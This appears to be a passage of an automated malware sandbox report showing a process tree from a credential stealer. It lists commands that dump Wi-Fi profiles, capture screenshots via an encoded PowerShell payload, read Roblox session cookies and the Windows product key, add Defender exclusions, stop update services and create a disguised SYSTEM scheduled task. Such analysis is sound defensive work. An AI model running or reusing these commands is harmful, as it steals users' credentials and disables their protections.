                                                                                                                          PID:3096
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                        8⤵
                                                                                                                          PID:3708
                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                            tree /A /F
                                                                                                                            9⤵
                                                                                                                              PID:2140
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                            8⤵
                                                                                                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                            PID:2836
                                                                                                                            • C:\Windows\system32\netsh.exe
                                                                                                                              netsh wlan show profile
                                                                                                                              9⤵
                                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                              PID:4520
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                                                            8⤵
                                                                                                                              PID:4868
                                                                                                                              • C:\Windows\system32\systeminfo.exe
                                                                                                                                systeminfo
                                                                                                                                9⤵
                                                                                                                                • Gathers system information
                                                                                                                                PID:4060
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                              8⤵
                                                                                                                                PID:4892
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                  9⤵
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  PID:5572
                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2gcxibpp\2gcxibpp.cmdline"
                                                                                                                                    10⤵
                                                                                                                                      PID:5844
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE54F.tmp" "c:\Users\Admin\AppData\Local\Temp\2gcxibpp\CSCB8FAC01ACCA9472787D79D3CC8F5ADD.TMP"
                                                                                                                                        11⤵
                                                                                                                                          PID:2828
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                    8⤵
                                                                                                                                      PID:5360
                                                                                                                                      • C:\Windows\system32\tree.com
                                                                                                                                        tree /A /F
                                                                                                                                        9⤵
                                                                                                                                          PID:5904
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                        8⤵
                                                                                                                                          PID:6048
                                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                                            tree /A /F
                                                                                                                                            9⤵
                                                                                                                                              PID:5332
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                            8⤵
                                                                                                                                              PID:5656
                                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                                tree /A /F
                                                                                                                                                9⤵
                                                                                                                                                  PID:5960
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                8⤵
                                                                                                                                                  PID:2584
                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                    9⤵
                                                                                                                                                      PID:1144
                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                      tree /A /F
                                                                                                                                                      9⤵
                                                                                                                                                        PID:2932
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                      8⤵
                                                                                                                                                        PID:6000
                                                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                                                          tree /A /F
                                                                                                                                                          9⤵
                                                                                                                                                            PID:5836
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                          8⤵
                                                                                                                                                            PID:6292
                                                                                                                                                            • C:\Windows\system32\getmac.exe
                                                                                                                                                              getmac
                                                                                                                                                              9⤵
                                                                                                                                                                PID:6192
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                              8⤵
                                                                                                                                                                PID:6524
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                  9⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  PID:6588
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                8⤵
                                                                                                                                                                  PID:7128
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                    9⤵
                                                                                                                                                                      PID:7072
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI11162\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\ueIjn.zip" *"
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:6776
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI11162\rar.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\_MEI11162\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\ueIjn.zip" *
                                                                                                                                                                        9⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:6700
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                      8⤵
                                                                                                                                                                        PID:8000
                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                          wmic os get Caption
                                                                                                                                                                          9⤵
                                                                                                                                                                            PID:7908
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:7840
                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                              wmic computersystem get totalphysicalmemory
                                                                                                                                                                              9⤵
                                                                                                                                                                                PID:7780
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                              8⤵
                                                                                                                                                                                PID:7652
                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                  wmic csproduct get uuid
                                                                                                                                                                                  9⤵
                                                                                                                                                                                    PID:7536
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                  8⤵
                                                                                                                                                                                    PID:7488
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                      9⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      PID:7428
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                    8⤵
                                                                                                                                                                                      PID:8284
                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                        wmic path win32_VideoController get name
                                                                                                                                                                                        9⤵
                                                                                                                                                                                        • Detects videocard installed
                                                                                                                                                                                        PID:8344
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                      8⤵
                                                                                                                                                                                        PID:8392
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                          9⤵
                                                                                                                                                                                            PID:8464
                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                              PID:4648
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4120
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop UsoSvc
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:5016
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop WaaSMedicSvc
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:2584
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop wuauserv
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:5880
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop bits
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:5660
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop dosvc
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:6000
                                                                                                                                                                              • C:\Windows\System32\dialer.exe
                                                                                                                                                                                C:\Windows\System32\dialer.exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5692
                                                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5576
                                                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                    C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:6368
                                                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                    C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:5572
                                                                                                                                                                                    • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                                      "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                                                      PID:5140
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      PID:5776
                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                      C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2632
                                                                                                                                                                                        • C:\Windows\System32\sc.exe
                                                                                                                                                                                          sc stop UsoSvc
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                          PID:4064
                                                                                                                                                                                        • C:\Windows\System32\sc.exe
                                                                                                                                                                                          sc stop WaaSMedicSvc
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                          PID:5636
                                                                                                                                                                                        • C:\Windows\System32\sc.exe
                                                                                                                                                                                          sc stop wuauserv
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                          PID:5268
                                                                                                                                                                                        • C:\Windows\System32\sc.exe
                                                                                                                                                                                          sc stop bits
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                          PID:2812
                                                                                                                                                                                        • C:\Windows\System32\sc.exe
                                                                                                                                                                                          sc stop dosvc
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                          PID:5608
                                                                                                                                                                                      • C:\Windows\System32\dialer.exe
                                                                                                                                                                                        C:\Windows\System32\dialer.exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:6040
                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                          C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                          PID:1484
                                                                                                                                                                                        • C:\Windows\System32\dialer.exe
                                                                                                                                                                                          C:\Windows\System32\dialer.exe
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:7248
                                                                                                                                                                                          • C:\Windows\System32\dialer.exe
                                                                                                                                                                                            C:\Windows\System32\dialer.exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:6136
                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:3768
                                                                                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:4052
                                                                                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:3672
                                                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:4324
                                                                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                                                                    1⤵
